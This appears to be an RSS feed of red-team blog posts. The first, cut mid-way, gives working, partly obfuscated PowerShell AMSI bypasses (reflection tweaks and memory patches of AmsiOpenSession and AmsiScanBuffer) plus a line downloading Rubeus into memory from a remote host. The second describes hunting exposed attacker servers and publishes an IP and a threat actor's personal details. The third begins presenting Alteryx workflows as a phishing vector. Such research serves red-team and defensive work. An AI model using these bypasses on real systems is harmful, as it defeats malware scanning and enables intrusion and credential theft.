down:</p><p>1: Get the assembly that Ref is defined in, then get a list of all types defined in that assembly<br>2: In the list, locate AmsiUtils based on the property characteristics of AmsiUtils, such as IsPublic=False, IsSerial=False, and the Name contains the “iUtils” substring, etc.<br>3: Locate amsiContext in a similar manner<br>4: Get the address of the amsiContext parameter and patch the first DWORD in the structure to 0</p><p>Adjust the payload to patch the 2nd QWORD, and it works on Windows 11.</p><pre>$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7s139sMAVWUVtEcz.png" /></figure><p>We can also attack AmsiOpenSession with PowerShell script. The following script patched AmsiOpenSession to set RCX as 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/0*s5mW1UucyXzK737_.png" /></figure><pre>function LookupFunc {<br>    Param ($moduleName, $functionName)<br>    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |<br>    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#39;\\&#39;)[-1].<br>     Equals(&#39;System.dll&#39;)<br>     }).GetType(&#39;Microsoft.Win32.UnsafeNativeMethods&#39;)<br>    $tmp=@()<br>    $assem.GetMethods() | ForEach-Object {If($_.Name -like &quot;Ge*P*oc*ddress&quot;) {$tmp+=$_}}<br>    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#39;GetModuleHandle&#39;)).Invoke($null,<br>@($moduleName)), $functionName))<br>}<br><br><br>function getDelegateType {<br>    Param (<br>     [Parameter(Position = 0, Mandatory = $True)] [Type[]]<br>     $func, [Parameter(Position = 1)] [Type] $delType = [Void]<br>    )<br>    $type = [AppDomain]::CurrentDomain.<br>    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#39;ReflectedDelegate&#39;)),<br>[System.Reflection.Emit.AssemblyBuilderAccess]::Run).<br>    DefineDynamicModule(&#39;InMemoryModule&#39;, $false).<br>    DefineType(&#39;MyDelegateType&#39;, &#39;Class, Public, Sealed, AnsiClass,<br>    AutoClass&#39;, [System.MulticastDelegate])<br><br>  $type.<br>    DefineConstructor(&#39;RTSpecialName, HideBySig, Public&#39;,<br>[System.Reflection.CallingConventions]::Standard, $func).<br>     SetImplementationFlags(&#39;Runtime, Managed&#39;)<br><br>  $type.<br>    DefineMethod(&#39;Invoke&#39;, &#39;Public, HideBySig, NewSlot, Virtual&#39;, $delType,<br>$func). SetImplementationFlags(&#39;Runtime, Managed&#39;)<br>    return $type.CreateType()<br>}<br><br><br>[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession<br>$oldProtectionBuffer = 0<br>$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))<br>$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)<br>$buf = [Byte[]] (0x48,0x31,0xc9)<br>[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)</pre><p>After executing the script, we bypassed AMSI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XAeyE1IxocZ84RDz.png" /></figure><h3>Attack AmsiInitialize</h3><p>Considering AmsiInitialize is called before we can supply scripts, we cannot directly patch the instruction. However, we can patch the structure pointed by amsiContext as it is initialized after the execution.</p><p>Leverage reflection, the raw one-liner payload is as follows:</p><pre>[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)</pre><p>Obfuscate it to avoid signature-based detection:</p><pre>$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Failed”) {$f=$e}};$f.SetValue($null,$true)</pre><p>We successfully bypassed AMSI. This payload still works, even on Windows 11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JXoSzgYUG8VpeWPw.png" /></figure><h3>Attack AmsiScanBuffer</h3><p>Inspect assemble codes of AmsiScanBuffer, we also noticed the code block that forces the function to exit with error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7RM90CuLMXCMc9Wv.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*-yLptILQYb4SR0Bj.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R-BFQLaszSlQMUpH.png" /></figure><p>According to the graph, multiple branches could land the execution on the code block. One path is notable:</p><pre>cmp rcx, rax<br>jz short loc_1800082CA</pre><p>The code block compares values stored in <strong>RAX </strong>and <strong>RCX,</strong> because RCX and RAX will be overwritten later, it is hard to patch them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/0*7TQujHs9MLR8Tr1Y.png" /></figure><p>If RCX does not equal RCX, the execution will land the following code block. The TEST operation will be performed between <strong>the byte located at the memory address RCX+0x14</strong> and immediate value 4. This means, if the 3rd bit is set in the byte.</p><pre>test byte ptr [rcx+1Ch], 4<br>jz short loc_1800082CA</pre><p>If the result is not equal to 0, the execution lands the following code block:</p><pre>mov rcx, [rcx+10h]<br>mov r9, rbx<br>mov [r11-50h], rbp<br>mov [r11-58h], r14<br>mov [rsp+88h+var_60], r8d<br>mov [r11-68h], rdx<br>call WPP_SF_qqDqq</pre><p>No conditional jump happens, just follow the execution, and land the following code block. Previously, RSI is set the value stored in RDX, which is the address of buffer.</p><pre>mov rsi, rdx</pre><p>If RSI is not equal to zero, continue the execution without a conditional jump.</p><pre>loc_1800082CA:<br>test rsi, rsi<br>jz short loc_180008337</pre><p>The following code block checks if <strong>EDI </strong>is equal to 0. Previously, EDI is set the value stored in <strong>R8D</strong>.</p><pre>mov edi, r8d</pre><p>It is obvious, if R8 is 0, then we will finally reach mov eax, 0x80070057<strong> instruction.</strong></p><pre>test edi, edi<br>jz short loc_180008337</pre><p>Set <strong>R8</strong> as <strong>0</strong> at the entry of function AmsiScanBuffer, continue the execution. We find that AMSI is bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HKxEogB0L0qm_DSr.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*535DOtUEucPN4mAi.png" /></figure><p>If we try to patch AmsiScanBuffer by setting R8 to 0:</p><pre>xor r8, r8;</pre><p>The opcode is <strong>0x4d31c0.</strong> However, it will crash powershell.exe process, because we overwrote some instructions, such as <strong>mov r11, rsp</strong>. While R11 will be used in some following instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/0*anc0ZLd3vYZq2RD_.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/0*lz-6io2CPLQZ0Hs7.png" /></figure><p>Therefore, this bypass works in theory, but we will have issues when using it in practical without WinDBG.</p><p>We can also force AmsiScanbuffer to return <strong>E_INVALIDARG </strong>error, the instructions are as follows:</p><pre>mov eax, 0x80070057<br>ret</pre><p>The opcode is<strong> 0xb857000780c3</strong>. However, the opcode is signatured, therefore, we should slightly obfuscate it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/0*N8cNK4Od4Te1qW-t.png" /></figure><p>Final code:</p><pre>function LookupFunc {<br>    Param ($moduleName, $functionName)<br>    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |<br>    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#39;\\&#39;)[-1].<br>     Equals(&#39;System.dll&#39;)<br>     }).GetType(&#39;Microsoft.Win32.UnsafeNativeMethods&#39;)<br>    $tmp=@()<br>    $assem.GetMethods() | ForEach-Object {If($_.Name -like &quot;Ge*P*oc*ddress&quot;) {$tmp+=$_}}<br>    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#39;GetModuleHandle&#39;)).Invoke($null,<br>@($moduleName)), $functionName))<br>}<br><br><br>function getDelegateType {<br>    Param (<br>     [Parameter(Position = 0, Mandatory = $True)] [Type[]]<br>     $func, [Parameter(Position = 1)] [Type] $delType = [Void]<br>    )<br>    $type = [AppDomain]::CurrentDomain.<br>    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#39;ReflectedDelegate&#39;)),<br>[System.Reflection.Emit.AssemblyBuilderAccess]::Run).<br>    DefineDynamicModule(&#39;InMemoryModule&#39;, $false).<br>    DefineType(&#39;MyDelegateType&#39;, &#39;Class, Public, Sealed, AnsiClass,<br>    AutoClass&#39;, [System.MulticastDelegate])<br><br>  $type.<br>    DefineConstructor(&#39;RTSpecialName, HideBySig, Public&#39;,<br>[System.Reflection.CallingConventions]::Standard, $func).<br>     SetImplementationFlags(&#39;Runtime, Managed&#39;)<br><br>  $type.<br>    DefineMethod(&#39;Invoke&#39;, &#39;Public, HideBySig, NewSlot, Virtual&#39;, $delType,<br>$func). SetImplementationFlags(&#39;Runtime, Managed&#39;)<br>    return $type.CreateType()<br>}<br><br><br>$a=&quot;A&quot;<br>$b=&quot;msiS&quot;<br>$c=&quot;canB&quot;<br>$d=&quot;uffer&quot;<br>[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)<br>$oldProtectionBuffer = 0<br>$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))<br>$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)<br>$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)<br>[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)</pre><p>It works well : )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4pfK9pvp7NE33hSz.png" /></figure><h3>Bypass AMSI for Assembly Load</h3><p>We discussed how to bypass AMSI before executing powershell scripts. However, the content of .NET assembly will also be scanned by AMSI, and the process is slightly different. As a result, attacking AmsiInitialize or AmsiOpenSession does not work.</p><p>We can use reflection to download a C# tool in memory and execute it.</p><pre>$data=(new-object System.Net.WebClient).DownloadData(‘http://192.168.0.45:443/rubeus.exe’)<br>$assembly=[System.Reflection.Assembly]::Load($data)</pre><p>As the following 2 screenshots show, we already bypassed AMSI by attacking AmsiOpenSession and AmsiInitialize, but we cannot load Rubeus in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M8TDEw62U-6a8wtv.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VxGHeTWYsvO7BJwu.png" /></figure><p>However, if we patch AmsiScanBuffer, we will be fine and successfully load Rubeus in memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pkKNhvWefQWsFYc-.png" /></figure><p>Why? Because when <strong>Assembly.Load() </strong>method is used, function <strong>AmsiScan </strong>in <strong>clr.dll </strong>will be called additionally.</p><p>Set 4 breakpoints for powershell.exe process</p><p><strong>amsi!AmsiInitialize<br>amsi!AmsiOpenSession<br>amsi!AmsiScanBuffer<br>clr!AmsiScan</strong></p><p>After supplying malicious content “invoke-mimikatz”, breakpoints at AmsiOpenSession and AmsiScanbuffer are reached, but functions <strong>AmsiInitialize</strong> and <strong>AmsiScan </strong>are not called。</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*5CJcYh4a8BelZZUQ.png" /></figure><p>If executing<strong> [System.Reflection.Assembly]::Load()</strong> command, we find that the first 2 breakpoints are still reached, and this time, we have three more hits. The 3 more hits prove that .NET assembly in memory is scanned additionally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2RrZPAJ8kL6Debp1.png" /></figure><p>Inspect function <strong>AmsiScan</strong> in <strong>clr.dll</strong>, we find that AmsiInitialize and AmsiScan are called, while AmsiOpenSession is not called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iveKJM_o_a7G8XM_.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9G2DugkC6y3P46Wm.png" /></figure><p>In summary, the one-liner payload that attacks AmsiInitialize does not work because the payload changes sub-values of the <strong>System.Management.Automation</strong> namespace. This namespace is the root namespace for PowerShell; it is not related to .NET assembly scanning. AmsiOpenSession is not called in AmsiScan at all. AmsiScanBuffer is called, therefore, the bypass technique by attacking AmsiScanBuffer still works when loading a .NET assembly.</p><h3>Reference</h3><p><a href="https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg">https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg</a><br><a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize">https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize</a><br><a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession">https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession</a><br><a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer">https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer</a><br><a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1</a><br><a href="https://github.com/rasta-mouse/AmsiScanBufferBypass">https://github.com/rasta-mouse/AmsiScanBufferBypass</a><br><a href="https://book.hacktricks.xyz/windows-hardening/windows-av-bypass">https://book.hacktricks.xyz/windows-hardening/windows-av-bypass</a><br><a href="https://github.com/TheD1rkMtr/AMSI_patch">https://github.com/TheD1rkMtr/AMSI_patch</a><br><a href="https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/">https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/</a><br><a href="https://rastamouse.me/memory-patching-amsi-bypass/">https://rastamouse.me/memory-patching-amsi-bypass/</a><br><a href="https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/">https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/</a><br><a href="https://cyberwarfare.live/assembly-load-writing-one-byte-to-evade-amsi-scan/">https://cyberwarfare.live/assembly-load-writing-one-byte-to-evade-amsi-scan/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75d231b2cac6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Use Searching Engines to Hunt For Threat Actors]]></title>
            <link>https://gustavshen.medium.com/use-searching-engines-to-hunt-for-threat-actors-74be52976e9f?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/74be52976e9f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Mon, 20 Mar 2023 01:54:10 GMT</pubDate>
            <atom:updated>2023-03-20T22:05:50.123Z</atom:updated>
            <content:encoded><![CDATA[<h3>Background</h3><p>Hi folks, today, I’d like to discuss how to leverage search engines to identify vulnerable servers used by threat actors. These actors often employ multiple servers for various purposes, such as phishing infrastructure, command and control (C2) infrastructure, and tool/payload servers. Due to poor operational security (OPSEC) or budget constraints, some may even use a single server for multiple functions.</p><p>People make mistakes, including threat actors. While they may employ advanced C2 frameworks, custom C2 profiles, redirectors, legitimate domains and certificates, and evasive tradecraft, a single mistake, such as an open directory misconfiguration, can undermine their entire effort.</p><p>As I am not a threat-hunting expert, my approach to identifying threat actors’ infrastructure may not be exhaustive. However, in this article, I will demonstrate how to use the search engine Quake (<a href="https://quake.360.net/">https://quake.360.net/</a>) to locate these misconfigured (Open Directory) infrastructures and provide an analysis of one specific case.</p><h3>Motivation</h3><p>As a red team operator, I fully understand the importance of OPSEC. Although I am not a threat-hunting expert, utilizing threat intelligence to track and locate other hackers and observing their mistakes can help enhance my own OPSEC awareness, allowing me to avoid low-level mistakes. Moreover, whether we are red team or blue team operators, our common goal is to make cyberspace safer.</p><p>Threat actors who engage in malicious cyber activities should not have a foothold in cyberspace. While we may not possess law enforcement authority, we can at least expose their activities and warn others about their danger and existence.</p><p>The threat intelligence community boasts numerous outstanding threat hunters, such as Michael Koczwara, whose articles have provided me with significant insights. These threat hunters expose threat actors’ infrastructure IPs and domain names, assisting in enriching blacklists for both individuals and cybersecurity products. This article (<a href="https://bank-security.medium.com/hunting-cobalt-strike-servers-385c5bedda7b">https://bank-security.medium.com/hunting-cobalt-strike-servers-385c5bedda7b</a>) explains how to use different methods, such as default Cobalt Strike certificates and default 404 responses, to search for Cobalt Strike servers on the internet using the Shodan search engine. Other articles, like <a href="https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f">https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f</a>, analyze the characteristics of C2 servers beyond Cobalt Strike and how to locate them using search engines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*NKtOjILKOZjz08p-PLaV4g.png" /></figure><p>Building on this foundation, we can compile a list of threat actor servers and feed it to security products, automating the isolation of communication with these malicious servers and alerting people to their existence. However, since most of us do not have law enforcement powers, our ability to take further action is limited. That said, if threat actors make low-level mistakes like open directory, we can counter them more effectively, for example, by gathering more comprehensive evidence, analyzing malicious file samples, and potentially identifying the threat actors based on the downloadable files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDq-7du1E8ji9soPz3VoGQ.png" /></figure><h3>Searching Engine Stuff</h3><p>There is a wide variety of internet asset search engines available, such as Shodan, Censys, Zoomeye, and Fofa. However, when it comes to locating threat actor servers with open directory configurations, my personal choice is the Quake search engine. Quake’s syntax supports keyword searches based on HTTP titles and responses. For sites with open directory configurations, the webpage title is typically “<strong>Directory listing for /</strong>” or “<strong>Index of /</strong>”. The open directory page title is primarily determined by the web server in use. For instance, if it’s an Apache2 server, the title would be “Index of /”, and if it’s a Python HTTP server, the title would be “Directory listing for /”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*OOPniCt_BNI_i2Lo8qMLxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fITLuqHKyiHMvOU7C0U0-Q.png" /></figure><p>Threat actors tend to prefer setting up temporary HTTP file servers using <strong>Python </strong>due to its simplicity and convenience. However, sometimes they forget to shut down the Python HTTP server promptly, leaving traces we can track. Filtering by HTTP response is relatively straightforward; we can enter the name of any security tool or malware, such as Mimikatz, Cobalt Strike, or Rubeus.</p><p>Some query examples:</p><p><strong>title: “Directory listing for /” and response:”cobaltstrike”</strong></p><p>Based on the provided screenshot, we can see that 67 servers are currently or have previously host the Cobalt Strike C2 framework tool for threat actors to download. I speculate that the majority of these Cobalt Strike instances are likely to be unauthorized copies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5tl0ijg4ky5NuulNXiYng.png" /></figure><p><strong>title: “Directory listing for /” and response:”mimikatz”</strong></p><p>49 servers are currently or have previously host the hack tool mimikatz for threat actors to download.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmsbYGvBkx_FXCi9SGeRAQ.png" /></figure><p><strong>title: “Directory listing for /” and response:”exp”</strong></p><p>We use this query to search servers that are currently or have previously host vulnerability exploits.</p><p>Take a close look at this server, from the preview, we can see a .ovpn file. It could be used to connect to the threat actor’s internal network (Or it is a victim’s .ovpn file). Unfortunately, the threat actor already shut down the Python HTTP server by the time I found it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7vDj9hgOLYDhd8eljSraA.png" /></figure><p><strong>title: “Directory listing for /” and response:”lsass”</strong></p><p>We can use this query to search servers that are currently or have previously host lsass dump. We can see server<strong> 80.85.156.184</strong> was used by a threat actor to save lsass dump file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wmx4wXL-Z_Cx68KMFnqIcw.png" /></figure><p>Currently, this server is not accessible, some other threat hunters already noticed this server before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*QJ-K0ILQac2DOu4BakHbpw.png" /></figure><p>In conclusion, we can flexibly adjust the HTTP response keywords for endless search possibilities. However, the ultimate goal remains the same: to locate threat actors’ hacking tools, malware, vulnerability exploits, and “spoils” obtained from their victims. If we happen to find their personal files, like an .ssh private key, a .ovpn file, document-based files, their bad day go to worse day : D</p><h3>Case Analysis</h3><p>Among the improperly configured servers discovered, I would like to share one of the most interesting examples (<a href="http://81.68.227.204:8000/">http://81.68.227.204:8000/</a>). If this server is not a honeypot, then this hacker certainly has <strong>zero OPSEC</strong>. Upon visiting this URL, it becomes evident that the hacker is running a Python HTTP server at the root directory of their C drive, as we can see directories such as Windows, Users, and Program Files. We can easily find some hack tools, such as CS4.4 K8 (Downloaded from <a href="https://github.com/k8gege/Aggressor/releases/tag/cs">https://github.com/k8gege/Aggressor/releases/tag/cs</a>), 扫描器(scanner).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*3PV5ukaHi0dRToPD_FdXvw.png" /></figure><p>This hacker seems to have a romantic side, as there is a folder named ‘love’ in the C drive root directory, which contains a web animation as shown in the picture. It appears to be a small surprise prepared for his girlfriend, and from this, we can know her name. However, it’s worth noting that this information could also be fabricated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMSEIJlmdGmdtVPvyT2iwQ.png" /></figure><p>The hacker installed multiple programs, such as Redis, Python, GO language, Metasploit, QQ, etc. And this HTTP server was run as Administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*aZyWP_mmWrh1eFEBt-iojw.png" /></figure><p>We can see his Cobalt Strike team server’s log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*I4pmXrcsgf4H_wTmgsoFXA.png" /></figure><p>The hacker used some insecure commands like shell whoami, sleep 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*N0ogoRgjCIHyXXpAHtcM9g.png" /></figure><p>The hacker enabled <strong>stager</strong>, and we can see some victims he controlled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfzqI3fEs4ZgiBlUXJmw_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fPsYfBjZgOVgHyDwXtyhmw.png" /></figure><p>The hacker also uses this server as a challenge box by setting up a local lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*njghI5KW64nl59RV8MXCXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MU8lwSZuCk9aOKLtiPeNcw.png" /></figure><p>The hacker deleted some other user accounts and their directories. The SID ends with 500, so it is a local administrator account. Maybe the account was created by other hackers?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SjmsCnfnTsM45PrTlDj0UA.png" /></figure><p>From <strong>ToDesk config file</strong>, I found this hacker’s phone number, and I found his social media account, should I add him and say hello? : D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*aSmQzFrF0N1al6H_TdkPag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*J1x-1Q1D-SuXYI0x_CyZTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*mNfcD-6HCvvX1uedLVA1Kg.png" /></figure><p>Alright, considering we have access to the entire C drive, on the surface, we are examining this open directory, but in reality, what we are doing is almost akin to local reconnaissance. Let’s directly jump to an issue that could lead to this hacker’s server being compromised.</p><p>The server is running IIS server, and we can access IIS directory. We find a file aspx.aspx, it is basically a one-liner webshell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*BX7HopqB6RvUu2eUr88wBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*JCQrxNjHEmDwpXyCPK5Z1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*QeuXx3HM9sKEaos1UUhIUQ.png" /></figure><p>(Please stop trying “?chopper=whoami”, the payload is not this one, and you cannot see the output.)</p><p>I am not sure if the backdoor is used by the hacker for remote management, or other hackers already compromised this server and left this backdoor lol</p><p>Though he is a threat actor, we still should not attempt to exploit it.</p><p>Finally, let’s use Shodan to analyze this server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7aEtfm9ickfrI-u0MtjGyg.png" /></figure><p>It opens multiple ports, and he did not enforce authentication for Redis. Some people already noticed this unauthenticated Redis server and connected to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vZcPkbOz-sRYYlxtegPLlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*GKC2EdB5ZCrEzNsd-AzedQ.png" /></figure><h3>Summary</h3><p>Thank you for reading my article, and I’d like to express my gratitude to the threat hunters who have inspired me. Threat intelligence is a fascinating field that has greatly aided in enhancing my red team skills. Together, let’s work towards exposing threat actors and countering them within the bounds of authorization (Directly attacking these servers is not legitimate). Happy hunting!</p><h3>References</h3><ul><li><a href="https://michaelkoczwara.medium.com/adversaries-infrastructure-ransomware-groups-apts-and-red-teams-7a6dd761c50e">Adversaries Infrastructure-Ransomware Groups, APTs, and Red Teams</a></li><li><a href="https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f">Hunting C2</a></li><li><a href="https://bank-security.medium.com/hunting-cobalt-strike-servers-385c5bedda7b">Hunting Cobalt Strike Servers</a></li><li><a href="https://quake.360.net/">360网络空间测绘 - 因为看见，所以安全</a></li><li><a href="https://twitter.com/MichalKoczwara">JavaScript is not available.</a></li></ul><h3>Germán Fernández on Twitter: &quot;AnyDesk.exe + CVE-2022-47966 + go.bat + lsass.dmp + procdump.exe + rdp.ps1 + reverse.elf/exe 🤠👀 pic.twitter.com/cEzTFTY7Tt / Twitter&quot;</h3><p>AnyDesk.exe + CVE-2022-47966 + go.bat + lsass.dmp + procdump.exe + rdp.ps1 + reverse.elf/exe 🤠👀 pic.twitter.com/cEzTFTY7Tt</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74be52976e9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Targeted and Efficien Phishing: Alteryx Workflow]]></title>
            <link>https://gustavshen.medium.com/targeted-and-efficien-phishing-alteryx-workflow-164d2f739906?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/164d2f739906</guid>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Wed, 08 Mar 2023 22:05:58 GMT</pubDate>
            <atom:updated>2023-03-08T22:05:58.959Z</atom:updated>
            <content:encoded><![CDATA[<h3>Targeted and Efficient Phishing: Alteryx Workflow</h3><h3><strong>Background</strong></h3><p>Recently, my friend who works in the accounting industry has been working hard to learn how to use a tool called Alteryx. She occasionally shares her learning experience with me, even though I do not have any knowledge of the accounting industry. Through our conversations, I learned that this software has macro functions. Based on a hacker’s intuition, I wondered if the macros in this software could execute code, even using its importable files for phishing, just like in Microsoft Office products. After some searching and research, I discovered that Alteryx’s importable files could indeed be used to execute client-side code and for phishing, and they can be very targeted and efficient.</p><p>Compared to Microsoft Office products, Alteryx software has a more specific target audience, such as accounting, data analysis, and finance professionals. Therefore, this may not be a phishing vector applicable in all situations. However, on the one hand, the macro feature in Microsoft Office products has been abused by attackers to gain client-side code execution through phishing attacks; Microsoft and many security product vendors have taken a series of measures, such as disabling macros in documents by default, strengthening macro scanning, and disabling Win32 API calls (ASR Rules) in macros, and so on. On the other hand, because the audience for Alteryx software is more specific and the software has not yet been used for phishing attacks (I’m not sure if anyone has done so, but I haven’t found any related articles), users of the software may be relatively less vigilant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0LfHng5KbDhlG5Ty6_rlg.png" /></figure><h3><strong>Alteryx Software</strong></h3><p>Alteryx is a data analytics software that enables users to perform data blending and advanced analytics with ease. It is designed to help analysts and data scientists solve complex data problems quickly and efficiently, without requiring advanced technical skills.</p><p>The software offers a drag-and-drop interface that allows users to easily connect and manipulate data from various sources, including spreadsheets, databases, and cloud-based applications. It also provides a wide range of tools for data cleaning, transformation, modeling, and visualization, as well as machine learning algorithms and predictive analytics capabilities.</p><p>Alteryx is used in a variety of industries, including finance, healthcare, retail, and manufacturing, among others. It is popular among analysts and data scientists who want to streamline their workflows and automate repetitive tasks, allowing them to focus on higher-value activities, such as developing insights and making data-driven decisions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2qj1uTEjnL3Nmt_VGMP33w.png" /></figure><h3><strong>Alteryx Workflow</strong></h3><p>In Alteryx, A workflow consists of connected tools that perform different functions to process data. A workflow file contains all the information about a particular data workflow, including the data inputs, transformations, and outputs. 